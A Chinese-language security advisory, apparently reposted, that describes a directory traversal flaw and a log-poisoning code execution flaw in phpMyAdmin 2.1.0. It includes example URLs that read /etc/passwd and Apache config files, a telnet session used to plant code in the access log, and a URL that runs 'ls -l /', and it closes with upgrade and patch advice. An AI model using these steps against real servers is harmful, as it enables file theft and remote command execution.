phpMyAdmin2.1.0存在两个漏洞

王朝厨房·作者佚名  2007-01-05
宽屏版  字体: |||超大  

phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 数据库的 PHP 工具,具有基于 WEB 的界面。但是发现它存在漏洞。可选择安装新发布稳定版本:

phpMyAdmin 2.2.0。

1、目录遍历漏洞

攻击者通过提供如下的 URL:

sql.php?goto=/etc/passwd&btnDrop=No">http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*)

http://www.example.com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd

能非法访问系统文件

有问题的代码在:

'include($goto);' in sql.php and in tbl_replace.php.

2、执行攻击者代码漏洞

通过使用全局可写日志文件,攻击者能在受影响服务器上执行任意代码。

首先,得到 Apache 配置文件以便知道日志文件存储位置:

sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No">http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No

sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No">http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No

sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No">http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No

可以看出,日志放在:

/var/log/httpd/error_log

/var/log/httpd/access_log

然后 telnet 到 端口80

# telnet www.example.com 80

Trying xxx.xxx.xxx.xxx...

Connected to www.example.com.

Escape character is '^]'.

GET

^]

telnet> quit

Connection closed.

#

在 GET 请求之后,攻击者能将任意 PHP 代码上传

现在,可以用 Apache 用户身份远程运行命令了:

sql.php?goto=/var/log/httpd/">http://www.example.com/phpMyAdmin/sql.php?goto=/var/log/httpd/

access_log&btnDrop=No?meters=ls%20-l%20/

受影响系统:

phpMyAdmin 2.1.0

解决方案:

建议:

1.使用 phpMyAdmin 2.2.0

http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.0-php.tar.gz

2.用户下载安装补丁:

http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
© 2005- 王朝网络 版权所有